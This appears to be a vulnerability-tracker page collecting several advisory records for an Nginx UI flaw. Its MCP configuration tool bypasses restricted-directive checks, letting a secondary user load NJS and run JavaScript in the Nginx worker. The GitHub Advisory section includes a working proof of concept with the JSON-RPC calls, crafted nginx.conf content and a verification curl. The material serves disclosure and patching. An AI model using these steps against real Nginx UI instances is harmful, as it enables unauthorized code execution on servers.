Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

12 Oct 2026 21:03:36 UTC

Source modified

13 Oct 2026 20:23:50 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

Oct 12, 2026, 9:03:36 PM (timezone not stated)

Source modified

Oct 13, 2026, 8:23:50 PM (timezone not stated)

Observed here

7 Nov 2026 15:21:54 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.

Source published

12 Oct 2026 21:17:22 UTC

Source modified

13 Oct 2026 21:19:11 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

## Summary The regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This is authenticated and is not OS command execution by itself. ## Affected component - `/mcp` - `/mcp_message` - MCP tool: `nginx_config_add` - Nginx configuration validation ## Impact A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context. This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling. ## Minimal PoC ### Preconditions - Attacker has a secondary authenticated Nginx UI account. - MCP is enabled. - Nginx has NJS available: ```bash find / -name "ngx_http_js_module.so" 2>/dev/null ``` Observed in the lab: ```text /usr/lib/nginx/modules/ngx_http_js_module.so ``` ### 1. HTTP API blocks the restricted config Request: ```http POST /api/configs Authorization: <SECONDARY_USER_JWT> Content-Type: application/json ``` Body: ```json { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } ``` Observed result: ```text Rejected because the content contains restricted directives such as load_module/js_import/js_content. ``` ### 2. MCP writes the JavaScript file Open an MCP session and call `tools/call` with: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "poc.js", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n" } } } ``` ### 3. MCP writes the NJS-enabled nginx.conf Call `tools/call` again: ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginx_config_add", "arguments": { "name": "nginx.conf", "base_dir": "", "overwrite": true, "sync_node_ids": [], "content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n" } } } ``` ### 4. Verify NJS execution Inside the Nginx UI container: ```bash curl -i http://127.0.0.1:18249/__poc ``` Observed response: ```http HTTP/1.1 200 OK MCP_NJS_MARKER ``` This confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context. ## Expected behavior MCP configuration tools should enforce the same restricted directive validation as the HTTP API. ## Suggested fix Apply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as: - `load_module` - `js_import` - `js_content` - `js_set` - `perl_set` - `user root`

Source published

15 Oct 2026 20:10:44 UTC

Source modified

19 Oct 2026 21:41:02 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Publisher rating · HIGH

Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context in github.com/0xJacky/Nginx-UI

Source published

19 Oct 2026 21:08:35 UTC

Source modified

19 Oct 2026 21:31:51 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.